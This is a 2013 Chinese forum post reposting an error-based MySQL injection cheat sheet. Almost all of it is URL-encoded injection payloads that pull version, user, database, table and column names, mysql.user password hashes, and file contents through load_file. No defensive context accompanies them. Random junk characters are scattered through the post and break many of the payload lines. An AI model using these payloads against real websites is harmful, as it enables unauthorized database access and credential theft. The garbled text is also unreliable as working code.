本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 $ T9 W: N: R" y# p
s1 w6 c/ ?' }7 i4 _- i! ~+ `
: i% e8 m( O- | x' V% vMysql暴错注入参考(pdf),每天一贴。。。
' c1 H* c8 Q$ u
- T% \* s' D% [* X8 i# RMySql Error Based Injection Reference
# {% g) J' Y- Z$ k[Mysql暴错注入参考]- \ @' {) c8 |, @2 H9 J! U* N8 Q4 d2 a
Authornig0s1992 k& R2 @6 B) ^5 E
Blog:http://pnig0s1992.blog.51cto.com/- s( h7 h" M1 i' T8 J: S- U2 }( l
TeAm:http://www.FreeBuf.com/* F+ e( @ F* `& x2 B
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
9 _% J0 ^' F; L0 `! A小部分版本使用name_const()时会报错.可以用给出的Method.2测试
: d7 }+ I# Y, t5 u c+ `( U7 h查询版本:* u0 _2 f" u! T9 s" Y
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+1 f% @1 S# a+ e5 ~, h
join+(select+name_const(@@version,0))b)c)( A# K3 l' [ u6 r V3 E
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro) }2 \" ]+ c; y6 H; e
up by a)b)
# y0 O/ ?1 M) ?; a% d8 d查询当前用户:2 ]; i8 [2 Q: I" A! `( n
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)& S7 I+ ~7 N) ]: M3 z e; H, ^: V
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r) F0 e) X7 O9 u! a+ i+ U
and(0)*2))x+from+information_schema.tables+group+by+x)a)
& D! X2 n) m" ]; Q* e: r0 v) t/ P查询当前数据库:
! z2 C* D- e# I' |Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
* T4 n: H) T" S+ [8 a4 F0 T$ z% NMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
8 y) }: z1 L, ior(rand(0)*2))x+from+information_schema.tables+group+by+x)a)9 N$ x/ N, v( R: A$ L
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
: _$ `$ h R3 {4 o1 F aLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
9 c- {' d% h! L6 L* [& `顺序替换% ~: h8 C s8 N
爆指定库数目:: a) k+ G1 O$ }; ~
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
0 c" c) ]" f* Z6 Kable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
# V& f0 Q) y o: k- H7 R, l+by+x)a)+and+1=1 0x6D7973716C=mysql
/ i, ~# g" ?5 U- U* D1 w依次爆表:
6 x; k% x. k- }% t7 B! R2 k) Zand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
# Y! y" H0 E* Y! k2 G2 G P0 h! E8 Jable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
# e8 Y( f H5 ubles+group+by+x)a)+and+1=1
6 a0 z n2 C7 G2 j: b; A5 ~ Z! W6 v# v0x6D7973716C=Mysql 将n顺序替换
/ \, d5 @1 R6 q* Y6 @0 U爆表内字段数目:4 A0 h( @. J7 J
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE. j: B3 u8 k9 d
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
% ~( t' Z7 y8 O' T2 j; U0 ^. D. Z0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1! \ z Z2 T/ H6 {
依次爆字段:
; P P6 S( c, B# k# n4 ?* K- N1 Tand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where5 d' D9 S) H6 }, \5 s
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1" {" n8 J9 i4 R! D& i& `
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
4 Z$ w' g. ?8 S* x# R" I依次暴内容:0 } n# t0 p- o3 E% j
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche: } ~) g$ A. I
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
2 D, I- G' y. |1 ^/ j: v) W将n顺序替换
* @% D; e v; W& x6 }7 X爆文件内容:1 s8 B) o/ v/ y
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a: p+ i% E$ J( Q8 ]9 g f
from+information_schema.tables+group+by+a)b)
6 o2 U6 P2 X4 f0 j0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
! C6 I* k1 M& r4 T/ IThx for reading.
! {# M" H* n3 L, ]9 r4 O( g% I" w( T! d$ H) x
不要下载也可以, 7 x R8 t5 g: B @: R" G4 c
|